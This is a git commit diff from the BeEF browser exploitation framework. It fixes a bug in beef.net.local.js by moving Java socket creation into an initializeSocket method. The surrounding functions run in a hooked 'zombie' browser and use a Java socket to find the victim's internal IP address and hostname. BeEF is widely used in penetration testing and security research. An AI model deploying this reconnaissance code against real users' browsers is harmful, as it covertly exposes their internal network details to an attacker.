fixing a bug in beef.net.local.js

git-svn-id: https://beef.googlecode.com/svn/trunk@548 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
mosse.benjamin
2010-11-19 04:02:52 +00:00
parent ee36b369fa
commit 006d961df6

View File

@@ -5,7 +5,22 @@
*/
beef.net.local = {
sock: new java.net.Socket(),
sock: false,
/**
* Initializes the java socket. We have to use this method because
* some browsers do not have java installed or it is not accessible.
* in which case creating a socket directly generates an error. So this code
* is invalid:
* sock: new java.net.Socket();
*/
initializeSocket: function() {
if(! beef.browser.hasJava()) return -1;
this.sock = new java.net.Socket();
return 1;
},
/**
* Returns the internal IP address of the zombie.
@@ -15,6 +30,8 @@ beef.net.local = {
getLocalAddress: function() {
if(! beef.browser.hasJava()) return -1;
this.initializeSocket();
try {
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
@@ -31,6 +48,8 @@ beef.net.local = {
getLocalHostname: function() {
if(! beef.browser.hasJava()) return -1;
this.initializeSocket();
try {
this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));